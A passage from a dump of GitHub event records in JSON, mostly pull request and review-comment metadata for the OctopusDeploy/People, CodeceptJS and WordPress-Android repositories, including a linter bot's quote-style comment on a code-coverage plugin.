people","fork":true,"url":"https://api.github.com/repos/MelbourneDeveloper/People","forks_url":"https://api.github.com/repos/MelbourneDeveloper/People/forks","keys_url":"https://api.github.com/repos/MelbourneDeveloper/People/keys{/key_id}","collaborators_url":"https://api.github.com/repos/MelbourneDeveloper/People/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/MelbourneDeveloper/People/teams","hooks_url":"https://api.github.com/repos/MelbourneDeveloper/People/hooks","issue_events_url":"https://api.github.com/repos/MelbourneDeveloper/People/issues/events{/number}","events_url":"https://api.github.com/repos/MelbourneDeveloper/People/events","assignees_url":"https://api.github.com/repos/MelbourneDeveloper/People/assignees{/user}","branches_url":"https://api.github.com/repos/MelbourneDeveloper/People/branches{/branch}","tags_url":"https://api.github.com/repos/MelbourneDeveloper/People/tags","blobs_url":"https://api.github.com/repos/MelbourneDeveloper/People/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/MelbourneDeveloper/People/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/MelbourneDeveloper/People/git/refs{/sha}","trees_url":"https://api.github.com/repos/MelbourneDeveloper/People/git/trees{/sha}","statuses_url":"https://api.github.com/repos/MelbourneDeveloper/People/statuses/{sha}","languages_url":"https://api.github.com/repos/MelbourneDeveloper/People/languages","stargazers_url":"https://api.github.com/repos/MelbourneDeveloper/People/stargazers","contributors_url":"https://api.github.com/repos/MelbourneDeveloper/People/contributors","subscribers_url":"https://api.github.com/repos/MelbourneDeveloper/People/subscribers","subscription_url":"https://api.github.com/repos/MelbourneDeveloper/People/subscription","commits_url":"https://api.github.com/repos/MelbourneDeveloper/People/commits{/sha}","git_commits_url":"https://api.github.com/repos/MelbourneDeveloper/People/git/commits{/sha}","comments_url":"https://api.github.com/repos/MelbourneDeveloper/People/comments{/number}","issue_comment_url":"https://api.github.com/repos/MelbourneDeveloper/People/issues/comments{/number}","contents_url":"https://api.github.com/repos/MelbourneDeveloper/People/contents/{+path}","compare_url":"https://api.github.com/repos/MelbourneDeveloper/People/compare/{base}...{head}","merges_url":"https://api.github.com/repos/MelbourneDeveloper/People/merges","archive_url":"https://api.github.com/repos/MelbourneDeveloper/People/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/MelbourneDeveloper/People/downloads","issues_url":"https://api.github.com/repos/MelbourneDeveloper/People/issues{/number}","pulls_url":"https://api.github.com/repos/MelbourneDeveloper/People/pulls{/number}","milestones_url":"https://api.github.com/repos/MelbourneDeveloper/People/milestones{/number}","notifications_url":"https://api.github.com/repos/MelbourneDeveloper/People/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/MelbourneDeveloper/People/labels{/name}","releases_url":"https://api.github.com/repos/MelbourneDeveloper/People/releases{/id}","deployments_url":"https://api.github.com/repos/MelbourneDeveloper/People/deployments","created_at":"2019-03-24T19:37:56Z","updated_at":"2019-03-24T20:50:44Z","pushed_at":"2019-03-24T20:50:43Z","git_url":"git://github.com/MelbourneDeveloper/People.git","ssh_url":"git@github.com:MelbourneDeveloper/People.git","clone_url":"https://github.com/MelbourneDeveloper/People.git","svn_url":"https://github.com/MelbourneDeveloper/People","homepage":null,"size":40,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"OctopusDeploy:master","ref":"master","sha":"422d33463eebf82dfeecf8ad695bb0d2904b1dc3","user":{"login":"OctopusDeploy","id":1287123,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEyODcxMjM=","avatar_url":"https://avatars0.githubusercontent.com/u/1287123?v=4","gravatar_id":"","url":"https://api.github.com/users/OctopusDeploy","html_url":"https://github.com/OctopusDeploy","followers_url":"https://api.github.com/users/OctopusDeploy/followers","following_url":"https://api.github.com/users/OctopusDeploy/following{/other_user}","gists_url":"https://api.github.com/users/OctopusDeploy/gists{/gist_id}","starred_url":"https://api.github.com/users/OctopusDeploy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/OctopusDeploy/subscriptions","organizations_url":"https://api.github.com/users/OctopusDeploy/orgs","repos_url":"https://api.github.com/users/OctopusDeploy/repos","events_url":"https://api.github.com/users/OctopusDeploy/events{/privacy}","received_events_url":"https://api.github.com/users/OctopusDeploy/received_events","type":"Organization","site_admin":false},"repo":{"id":101117006,"node_id":"MDEwOlJlcG9zaXRvcnkxMDExMTcwMDY=","name":"People","full_name":"OctopusDeploy/People","private":false,"owner":{"login":"OctopusDeploy","id":1287123,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEyODcxMjM=","avatar_url":"https://avatars0.githubusercontent.com/u/1287123?v=4","gravatar_id":"","url":"https://api.github.com/users/OctopusDeploy","html_url":"https://github.com/OctopusDeploy","followers_url":"https://api.github.com/users/OctopusDeploy/followers","following_url":"https://api.github.com/users/OctopusDeploy/following{/other_user}","gists_url":"https://api.github.com/users/OctopusDeploy/gists{/gist_id}","starred_url":"https://api.github.com/users/OctopusDeploy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/OctopusDeploy/subscriptions","organizations_url":"https://api.github.com/users/OctopusDeploy/orgs","repos_url":"https://api.github.com/users/OctopusDeploy/repos","events_url":"https://api.github.com/users/OctopusDeploy/events{/privacy}","received_events_url":"https://api.github.com/users/OctopusDeploy/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/OctopusDeploy/People","description":"Describes our culture and our people","fork":false,"url":"https://api.github.com/repos/OctopusDeploy/People","forks_url":"https://api.github.com/repos/OctopusDeploy/People/forks","keys_url":"https://api.github.com/repos/OctopusDeploy/People/keys{/key_id}","collaborators_url":"https://api.github.com/repos/OctopusDeploy/People/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/OctopusDeploy/People/teams","hooks_url":"https://api.github.com/repos/OctopusDeploy/People/hooks","issue_events_url":"https://api.github.com/repos/OctopusDeploy/People/issues/events{/number}","events_url":"https://api.github.com/repos/OctopusDeploy/People/events","assignees_url":"https://api.github.com/repos/OctopusDeploy/People/assignees{/user}","branches_url":"https://api.github.com/repos/OctopusDeploy/People/branches{/branch}","tags_url":"https://api.github.com/repos/OctopusDeploy/People/tags","blobs_url":"https://api.github.com/repos/OctopusDeploy/People/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/OctopusDeploy/People/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/OctopusDeploy/People/git/refs{/sha}","trees_url":"https://api.github.com/repos/OctopusDeploy/People/git/trees{/sha}","statuses_url":"https://api.github.com/repos/OctopusDeploy/People/statuses/{sha}","languages_url":"https://api.github.com/repos/OctopusDeploy/People/languages","stargazers_url":"https://api.github.com/repos/OctopusDeploy/People/stargazers","contributors_url":"https://api.github.com/repos/OctopusDeploy/People/contributors","subscribers_url":"https://api.github.com/repos/OctopusDeploy/People/subscribers","subscription_url":"https://api.github.com/repos/OctopusDeploy/People/subscription","commits_url":"https://api.github.com/repos/OctopusDeploy/People/commits{/sha}","git_commits_url":"https://api.github.com/repos/OctopusDeploy/People/git/commits{/sha}","comments_url":"https://api.github.com/repos/OctopusDeploy/People/comments{/number}","issue_comment_url":"https://api.github.com/repos/OctopusDeploy/People/issues/comments{/number}","contents_url":"https://api.github.com/repos/OctopusDeploy/People/contents/{+path}","compare_url":"https://api.github.com/repos/OctopusDeploy/People/compare/{base}...{head}","merges_url":"https://api.github.com/repos/OctopusDeploy/People/merges","archive_url":"https://api.github.com/repos/OctopusDeploy/People/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/OctopusDeploy/People/downloads","issues_url":"https://api.github.com/repos/OctopusDeploy/People/issues{/number}","pulls_url":"https://api.github.com/repos/OctopusDeploy/People/pulls{/number}","milestones_url":"https://api.github.com/repos/OctopusDeploy/People/milestones{/number}","notifications_url":"https://api.github.com/repos/OctopusDeploy/People/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/OctopusDeploy/People/labels{/name}","releases_url":"https://api.github.com/repos/OctopusDeploy/People/releases{/id}","deployments_url":"https://api.github.com/repos/OctopusDeploy/People/deployments","created_at":"2017-08-22T23:39:26Z","updated_at":"2019-01-30T06:57:23Z","pushed_at":"2019-03-24T20:50:43Z","git_url":"git://github.com/OctopusDeploy/People.git","ssh_url":"git@github.com:OctopusDeploy/People.git","clone_url":"https://github.com/OctopusDeploy/People.git","svn_url":"https://github.com/OctopusDeploy/People","homepage":null,"size":40,"stargazers_count":1,"watchers_count":1,"language":null,"has_issues":false,"has_projects":false,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1,"mirror_url":null,"archived":false,"open_issues_count":3,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":1,"open_issues":3,"watchers":1,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/OctopusDeploy/People/pulls/7"},"html":{"href":"https://github.com/OctopusDeploy/People/pull/7"},"issue":{"href":"https://api.github.com/repos/OctopusDeploy/People/issues/7"},"comments":{"href":"https://api.github.com/repos/OctopusDeploy/People/issues/7/comments"},"review_comments":{"href":"https://api.github.com/repos/OctopusDeploy/People/pulls/7/comments"},"review_comment":{"href":"https://api.github.com/repos/OctopusDeploy/People/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/OctopusDeploy/People/pulls/7/commits"},"statuses":{"href":"https://api.github.com/repos/OctopusDeploy/People/statuses/30d210777b0788e59135498ee936f87b2599350f"}},"author_association":"NONE"}}
|
{
"id": 101117006,
"name": "OctopusDeploy/People",
"url": "https://api.github.com/repos/OctopusDeploy/People"
}
|
{
"id": 1627582,
"login": "michaelnoonan",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1627582?",
"url": "https://api.github.com/users/michaelnoonan"
}
|
{
"id": 1287123,
"login": "OctopusDeploy",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1287123?",
"url": "https://api.github.com/orgs/OctopusDeploy"
}
| 2019-03-24T22:42:03 |
9304130016
|
{"actor":{"display_login":"michaelnoonan"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/Codeception/CodeceptJS/pulls/comments/257343808","pull_request_review_id":204378498,"id":257343808,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI1NzM0MzgwOA==","diff_hunk":"@@ -0,0 +1,154 @@\n+const Container = require(\"../container\");\n+const recorder = require(\"../recorder\");\n+const event = require(\"../event\");\n+const fs = require(\"fs\");\n+const path = require(\"path\");\n+const { clearString } = require(\"../utils\");\n+const debug = require(\"debug\")(\"codeceptjs:plugin:puppeteerCoverage\");\n+\n+const defaultConfig = {\n+ coverageDir: \"output/coverage\",","path":"lib/plugin/puppeteerCoverage.js","position":10,"original_position":10,"commit_id":"5e6cc2452d15916e30e3d2bc71a913cf3f819836","original_commit_id":"5e6cc2452d15916e30e3d2bc71a913cf3f819836","user":{"login":"houndci-bot","id":6697940,"node_id":"MDQ6VXNlcjY2OTc5NDA=","avatar_url":"https://avatars0.githubusercontent.com/u/6697940?v=4","gravatar_id":"","url":"https://api.github.com/users/houndci-bot","html_url":"https://github.com/houndci-bot","followers_url":"https://api.github.com/users/houndci-bot/followers","following_url":"https://api.github.com/users/houndci-bot/following{/other_user}","gists_url":"https://api.github.com/users/houndci-bot/gists{/gist_id}","starred_url":"https://api.github.com/users/houndci-bot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/houndci-bot/subscriptions","organizations_url":"https://api.github.com/users/houndci-bot/orgs","repos_url":"https://api.github.com/users/houndci-bot/repos","events_url":"https://api.github.com/users/houndci-bot/events{/privacy}","received_events_url":"https://api.github.com/users/houndci-bot/received_events","type":"User","site_admin":false},"body":"Strings must use singlequote quotes","created_at":"2019-02-15T18:31:25Z","updated_at":"2019-02-15T18:31:26Z","html_url":"https://github.com/Codeception/CodeceptJS/pull/1504#discussion_r257343808","pull_request_url":"https://api.github.com/repos/Codeception/CodeceptJS/pulls/1504","author_association":"NONE","_links":{"self":{"href":"https://api.github.com/repos/Codeception/CodeceptJS/pulls/comments/257343808"},"html":{"href":"https://github.com/Codeception/CodeceptJS/pull/1504#discussion_r257343808"},"pull_request":{"href":"https://api.github.com/repos/Codeception/CodeceptJS/pulls/1504"}}},"pull_request":{"url":"https://api.github.com/repos/Codeception/CodeceptJS/pulls/1504","id":253521619,"node_id":"MDExOlB1bGxSZXF1ZXN0MjUzNTIxNjE5","html_url":"https://github.com/Codeception/CodeceptJS/pull/1504","diff_url":"https://github.com/Codeception/CodeceptJS/pull/1504.diff","patch_url":"https://github.com/Codeception/CodeceptJS/pull/1504.patch","issue_url":"https://api.github.com/repos/Codeception/CodeceptJS/issues/1504","number":1504,"state":"open","locked":false,"title":"Create new puppeteer plugin to dump code coverage","user":{"login":"dvillarama","id":2099857,"node_id":"MDQ6VXNlcjIwOTk4NTc=","avatar_url":"https://avatars2.githubusercontent.com/u/2099857?v=4","gravatar_id":"","url":"https://api.github.com/users/dvillarama","html_url":"https://github.com/dvillarama","followers_url":"https://api.github.com/users/dvillarama/followers","following_url":"https://api.github.com/users/dvillarama/following{/other_user}","gists_url":"https://api.github.com/users/dvillarama/gists{/gist_id}","starred_url":"https://api.github.com/users/dvillarama/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dvillarama/subscriptions","organizations_url":"https://api.github.com/users/dvillarama/orgs","repos_url":"https://api.github.com/users/dvillarama/repos","events_url":"https://api.github.com/users/dvillarama/events{/privacy}","received_events_url":"https://api.github.com/users/dvillarama/received_events","type":"User","site_admin":false},"body":"After creating your beautiful tests, you'll eventually get asked what is your code coverage.\r\n\r\nThis plugin will dump the code coverage for you.\r\n\r\nYou'll need to convert the coverage to istanbul readable coverage and run istanbul to create the report.\r\n(I'll provide my script that does exactly that when I get time to clean it up for public use).","created_at":"2019-02-15T18:27:39Z","updated_at":"2019-02-15T18:31:26Z","closed_at":null,"merged_at":null,"merge_commit_sha":"0fe77d8caeeaa1f70630276508fc9a93602c8239","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/Codeception/CodeceptJS/pulls/1504/commits","review_comments_url":"https://api.github.com/repos/Codeception/CodeceptJS/pulls/1504/comments","review_comment_url":"https://api.github.com/repos/Codeception/CodeceptJS/pulls/comments{/number}","comments_url":"https://api.github.com/repos/Codeception/CodeceptJS/issues/1504/comments","statuses_url":"https://api.github.com/repos/Codeception/CodeceptJS/statuses/5e6cc2452d15916e30e3d2bc71a913cf3f819836","head":{"label":"dvillarama:master","ref":"master","sha":"5e6cc2452d15916e30e3d2bc71a913cf3f819836","user":{"login":"dvillarama","id":2099857,"node_id":"MDQ6VXNlcjIwOTk4NTc=","avatar_url":"https://avatars2.githubusercontent.com/u/2099857?v=4","gravatar_id":"","url":"https://api.github.com/users/dvillarama","html_url":"https://github.com/dvillarama","followers_url":"https://api.github.com/users/dvillarama/followers","following_url":"https://api.github.com/users/dvillarama/following{/other_user}","gists_url":"https://api.github.com/users/dvillarama/gists{/gist_id}","starred_url":"https://api.github.com/users/dvillarama/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dvillarama/subscriptions","organizations_url":"https://api.github.com/users/dvillarama/orgs","repos_url":"https://api.github.com/users/dvillarama/repos","events_url":"https://api.github.com/users/dvillarama/events{/privacy}","received_events_url":"https://api.github.com/users/dvillarama/received_events","type":"User","site_admin":false},"repo":{"id":142067988,"node_id":"MDEwOlJlcG9zaXRvcnkxNDIwNjc5ODg=","name":"CodeceptJS","full_name":"dvillarama/CodeceptJS","private":false,"owner":{"login":"dvillarama","id":2099857,"node_id":"MDQ6VXNlcjIwOTk4NTc=","avatar_url":"https://avatars2.githubusercontent.com/u/2099857?v=4","gravatar_id":"","url":"https://api.github.com/users/dvillarama","html_url":"https://github.com/dvillarama","followers_url":"https://api.github.com/users/dvillarama/followers","following_url":"https://api.github.com/users/dvillarama/following{/other_user}","gists_url":"https://api.github.com/users/dvillarama/gists{/gist_id}","starred_url":"https://api.github.com/users/dvillarama/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dvillarama/subscriptions","organizations_url":"https://api.github.com/users/dvillarama/orgs","repos_url":"https://api.github.com/users/dvillarama/repos","events_url":"https://api.github.com/users/dvillarama/events{/privacy}","received_events_url":"https://api.github.com/users/dvillarama/received_events","type":"User","site_admin":false},"html_url":"https://github.com/dvillarama/CodeceptJS","description":"Modern Era Acceptance Testing Framework for NodeJS","fork":true,"url":"https://api.github.com/repos/dvillarama/CodeceptJS","forks_url":"https://api.github.com/repos/dvillarama/CodeceptJS/forks","keys_url":"https://api.github.com/repos/dvillarama/CodeceptJS/keys{/key_id}","collaborators_url":"https://api.github.com/repos/dvillarama/CodeceptJS/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/dvillarama/CodeceptJS/teams","hooks_url":"https://api.github.com/repos/dvillarama/CodeceptJS/hooks","issue_events_url":"https://api.github.com/repos/dvillarama/CodeceptJS/issues/events{/number}","events_url":"https://api.github.com/repos/dvillarama/CodeceptJS/events","assignees_url":"https://api.github.com/repos/dvillarama/CodeceptJS/assignees{/user}","branches_url":"https://api.github.com/repos/dvillarama/CodeceptJS/branches{/branch}","tags_url":"https://api.github.com/repos/dvillarama/CodeceptJS/tags","blobs_url":"https://api.github.com/repos/dvillarama/CodeceptJS/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/dvillarama/CodeceptJS/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/dvillarama/CodeceptJS/git/refs{/sha}","trees_url":"https://api.github.com/repos/dvillarama/CodeceptJS/git/trees{/sha}","statuses_url":"https://api.github.com/repos/dvillarama/CodeceptJS/statuses/{sha}","languages_url":"https://api.github.com/repos/dvillarama/CodeceptJS/languages","stargazers_url":"https://api.github.com/repos/dvillarama/CodeceptJS/stargazers","contributors_url":"https://api.github.com/repos/dvillarama/CodeceptJS/contributors","subscribers_url":"https://api.github.com/repos/dvillarama/CodeceptJS/subscribers","subscription_url":"https://api.github.com/repos/dvillarama/CodeceptJS/subscription","commits_url":"https://api.github.com/repos/dvillarama/CodeceptJS/commits{/sha}","git_commits_url":"https://api.github.com/repos/dvillarama/CodeceptJS/git/commits{/sha}","comments_url":"https://api.github.com/repos/dvillarama/CodeceptJS/comments{/number}","issue_comment_url":"https://api.github.com/repos/dvillarama/CodeceptJS/issues/comments{/number}","contents_url":"https://api.github.com/repos/dvillarama/CodeceptJS/contents/{+path}","compare_url":"https://api.github.com/repos/dvillarama/CodeceptJS/compare/{base}...{head}","merges_url":"https://api.github.com/repos/dvillarama/CodeceptJS/merges","archive_url":"https://api.github.com/repos/dvillarama/CodeceptJS/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/dvillarama/CodeceptJS/downloads","issues_url":"https://api.github.com/repos/dvillarama/CodeceptJS/issues{/number}","pulls_url":"https://api.github.com/repos/dvillarama/CodeceptJS/pulls{/number}","milestones_url":"https://api.github.com/repos/dvillarama/CodeceptJS/milestones{/number}","notifications_url":"https://api.github.com/repos/dvillarama/CodeceptJS/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/dvillarama/CodeceptJS/labels{/name}","releases_url":"https://api.github.com/repos/dvillarama/CodeceptJS/releases{/id}","deployments_url":"https://api.github.com/repos/dvillarama/CodeceptJS/deployments","created_at":"2018-07-23T20:50:44Z","updated_at":"2019-02-15T18:31:04Z","pushed_at":"2019-02-15T18:31:02Z","git_url":"git://github.com/dvillarama/CodeceptJS.git","ssh_url":"git@github.com:dvillarama/CodeceptJS.git","clone_url":"https://github.com/dvillarama/CodeceptJS.git","svn_url":"https://github.com/dvillarama/CodeceptJS","homepage":"http://codecept.io","size":13063,"stargazers_count":0,"watchers_count":0,"language":"JavaScript","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"Codeception:master","ref":"master","sha":"834e0024224143b7cd65c56864d9b8f13b7ad3ea","user":{"login":"Codeception","id":1288753,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEyODg3NTM=","avatar_url":"https://avatars2.githubusercontent.com/u/1288753?v=4","gravatar_id":"","url":"https://api.github.com/users/Codeception","html_url":"https://github.com/Codeception","followers_url":"https://api.github.com/users/Codeception/followers","following_url":"https://api.github.com/users/Codeception/following{/other_user}","gists_url":"https://api.github.com/users/Codeception/gists{/gist_id}","starred_url":"https://api.github.com/users/Codeception/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Codeception/subscriptions","organizations_url":"https://api.github.com/users/Codeception/orgs","repos_url":"https://api.github.com/users/Codeception/repos","events_url":"https://api.github.com/users/Codeception/events{/privacy}","received_events_url":"https://api.github.com/users/Codeception/received_events","type":"Organization","site_admin":false},"repo":{"id":46641250,"node_id":"MDEwOlJlcG9zaXRvcnk0NjY0MTI1MA==","name":"CodeceptJS","full_name":"Codeception/CodeceptJS","private":false,"owner":{"login":"Codeception","id":1288753,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEyODg3NTM=","avatar_url":"https://avatars2.githubusercontent.com/u/1288753?v=4","gravatar_id":"","url":"https://api.github.com/users/Codeception","html_url":"https://github.com/Codeception","followers_url":"https://api.github.com/users/Codeception/followers","following_url":"https://api.github.com/users/Codeception/following{/other_user}","gists_url":"https://api.github.com/users/Codeception/gists{/gist_id}","starred_url":"https://api.github.com/users/Codeception/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Codeception/subscriptions","organizations_url":"https://api.github.com/users/Codeception/orgs","repos_url":"https://api.github.com/users/Codeception/repos","events_url":"https://api.github.com/users/Codeception/events{/privacy}","received_events_url":"https://api.github.com/users/Codeception/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/Codeception/CodeceptJS","description":"Modern Era Acceptance Testing Framework for NodeJS","fork":false,"url":"https://api.github.com/repos/Codeception/CodeceptJS","forks_url":"https://api.github.com/repos/Codeception/CodeceptJS/forks","keys_url":"https://api.github.com/repos/Codeception/CodeceptJS/keys{/key_id}","collaborators_url":"https://api.github.com/repos/Codeception/CodeceptJS/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/Codeception/CodeceptJS/teams","hooks_url":"https://api.github.com/repos/Codeception/CodeceptJS/hooks","issue_events_url":"https://api.github.com/repos/Codeception/CodeceptJS/issues/events{/number}","events_url":"https://api.github.com/repos/Codeception/CodeceptJS/events","assignees_url":"https://api.github.com/repos/Codeception/CodeceptJS/assignees{/user}","branches_url":"https://api.github.com/repos/Codeception/CodeceptJS/branches{/branch}","tags_url":"https://api.github.com/repos/Codeception/CodeceptJS/tags","blobs_url":"https://api.github.com/repos/Codeception/CodeceptJS/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/Codeception/CodeceptJS/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/Codeception/CodeceptJS/git/refs{/sha}","trees_url":"https://api.github.com/repos/Codeception/CodeceptJS/git/trees{/sha}","statuses_url":"https://api.github.com/repos/Codeception/CodeceptJS/statuses/{sha}","languages_url":"https://api.github.com/repos/Codeception/CodeceptJS/languages","stargazers_url":"https://api.github.com/repos/Codeception/CodeceptJS/stargazers","contributors_url":"https://api.github.com/repos/Codeception/CodeceptJS/contributors","subscribers_url":"https://api.github.com/repos/Codeception/CodeceptJS/subscribers","subscription_url":"https://api.github.com/repos/Codeception/CodeceptJS/subscription","commits_url":"https://api.github.com/repos/Codeception/CodeceptJS/commits{/sha}","git_commits_url":"https://api.github.com/repos/Codeception/CodeceptJS/git/commits{/sha}","comments_url":"https://api.github.com/repos/Codeception/CodeceptJS/comments{/number}","issue_comment_url":"https://api.github.com/repos/Codeception/CodeceptJS/issues/comments{/number}","contents_url":"https://api.github.com/repos/Codeception/CodeceptJS/contents/{+path}","compare_url":"https://api.github.com/repos/Codeception/CodeceptJS/compare/{base}...{head}","merges_url":"https://api.github.com/repos/Codeception/CodeceptJS/merges","archive_url":"https://api.github.com/repos/Codeception/CodeceptJS/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/Codeception/CodeceptJS/downloads","issues_url":"https://api.github.com/repos/Codeception/CodeceptJS/issues{/number}","pulls_url":"https://api.github.com/repos/Codeception/CodeceptJS/pulls{/number}","milestones_url":"https://api.github.com/repos/Codeception/CodeceptJS/milestones{/number}","notifications_url":"https://api.github.com/repos/Codeception/CodeceptJS/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/Codeception/CodeceptJS/labels{/name}","releases_url":"https://api.github.com/repos/Codeception/CodeceptJS/releases{/id}","deployments_url":"https://api.github.com/repos/Codeception/CodeceptJS/deployments","created_at":"2015-11-22T01:14:36Z","updated_at":"2019-02-15T13:17:13Z","pushed_at":"2019-02-15T18:31:03Z","git_url":"git://github.com/Codeception/CodeceptJS.git","ssh_url":"git@github.com:Codeception/CodeceptJS.git","clone_url":"https://github.com/Codeception/CodeceptJS.git","svn_url":"https://github.com/Codeception/CodeceptJS","homepage":"http://codecept.io","size":34586,"stargazers_count":2063,"watchers_count":2063,"language":"JavaScript","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":339,"mirror_url":null,"archived":false,"open_issues_count":276,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":339,"open_issues":276,"watchers":2063,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/Codeception/CodeceptJS/pulls/1504"},"html":{"href":"https://github.com/Codeception/CodeceptJS/pull/1504"},"issue":{"href":"https://api.github.com/repos/Codeception/CodeceptJS/issues/1504"},"comments":{"href":"https://api.github.com/repos/Codeception/CodeceptJS/issues/1504/comments"},"review_comments":{"href":"https://api.github.com/repos/Codeception/CodeceptJS/pulls/1504/comments"},"review_comment":{"href":"https://api.github.com/repos/Codeception/CodeceptJS/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/Codeception/CodeceptJS/pulls/1504/commits"},"statuses":{"href":"https://api.github.com/repos/Codeception/CodeceptJS/statuses/5e6cc2452d15916e30e3d2bc71a913cf3f819836"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 46641250,
"name": "Codeception/CodeceptJS",
"url": "https://api.github.com/repos/Codeception/CodeceptJS"
}
|
{
"id": 6697940,
"login": "houndci-bot",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/6697940?",
"url": "https://api.github.com/users/houndci-bot"
}
|
{
"id": 1288753,
"login": "Codeception",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1288753?",
"url": "https://api.github.com/orgs/Codeception"
}
| 2019-02-15T18:31:25 |
9077187269
|
{"actor":{"display_login":"houndci-bot"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/wordpress-mobile/WordPress-Android/pulls/comments/346092593","pull_request_review_id":316669749,"id":346092593,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDM0NjA5MjU5Mw==","diff_hunk":"@@ -13,3 +15,22 @@ fun View.redirectContextClickToLongPressListener() {\n this.setOnContextClickListener { it.performLongClick() }\n }\n }\n+\n+fun View.expandTouchTargetArea(dps: Int, heightOnly: Boolean = false) {","path":"WordPress/src/main/java/org/wordpress/android/util/ViewUtils.kt","position":null,"original_position":15,"commit_id":"028157e0ac2010cc03720c6c377350e1f0a4785d","original_commit_id":"1d950a0daa4d9b7869f554c21d577f3ff3bc3a4c","user":{"login":"jd-alexander","id":1509205,"node_id":"MDQ6VXNlcjE1MDkyMDU=","avatar_url":"https://avatars1.githubusercontent.com/u/1509205?v=4","gravatar_id":"","url":"https://api.github.com/users/jd-alexander","html_url":"https://github.com/jd-alexander","followers_url":"https://api.github.com/users/jd-alexander/followers","following_url":"https://api.github.com/users/jd-alexander/following{/other_user}","gists_url":"https://api.github.com/users/jd-alexander/gists{/gist_id}","starred_url":"https://api.github.com/users/jd-alexander/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jd-alexander/subscriptions","organizations_url":"https://api.github.com/users/jd-alexander/orgs","repos_url":"https://api.github.com/users/jd-alexander/repos","events_url":"https://api.github.com/users/jd-alexander/events{/privacy}","received_events_url":"https://api.github.com/users/jd-alexander/received_events","type":"User","site_admin":false},"body":"@malinajirka made the suggest changes 🙏 